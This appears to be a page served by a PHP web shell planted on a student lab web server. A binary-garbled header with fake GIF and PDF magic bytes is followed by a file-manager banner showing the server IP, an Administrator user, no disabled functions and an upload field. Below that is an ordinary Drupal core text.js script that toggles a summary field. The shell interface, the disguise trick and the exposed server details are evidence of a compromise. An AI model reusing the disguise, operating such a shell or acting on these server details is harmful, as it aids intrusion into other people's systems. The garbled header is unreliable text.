GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Student/JimMartinson/Lab12/drupal/core/modules/text/ |
Upload File : |
/** * @file * Text behaviors. */ (function ($, Drupal) { 'use strict'; /** * Auto-hide summary textarea if empty and show hide and unhide links. * * @type {Drupal~behavior} * * @prop {Drupal~behaviorAttach} attach * Attaches auto-hide behavior on `text-summary` events. */ Drupal.behaviors.textSummary = { attach: function (context, settings) { $(context).find('.js-text-summary').once('text-summary').each(function () { var $widget = $(this).closest('.js-text-format-wrapper'); var $summary = $widget.find('.js-text-summary-wrapper'); var $summaryLabel = $summary.find('label').eq(0); var $full = $widget.find('.js-text-full').closest('.js-form-item'); var $fullLabel = $full.find('label').eq(0); // Create a placeholder label when the field cardinality is greater // than 1. if ($fullLabel.length === 0) { $fullLabel = $('<label></label>').prependTo($full); } // Set up the edit/hide summary link. var $link = $('<span class="field-edit-link"> (<button type="button" class="link link-edit-summary">' + Drupal.t('Hide summary') + '</button>)</span>'); var $button = $link.find('button'); var toggleClick = true; $link.on('click', function (e) { if (toggleClick) { $summary.hide(); $button.html(Drupal.t('Edit summary')); $link.appendTo($fullLabel); } else { $summary.show(); $button.html(Drupal.t('Hide summary')); $link.appendTo($summaryLabel); } e.preventDefault(); toggleClick = !toggleClick; }).appendTo($summaryLabel); // If no summary is set, hide the summary field. if ($widget.find('.js-text-summary').val() === '') { $link.trigger('click'); } }); } }; })(jQuery, Drupal);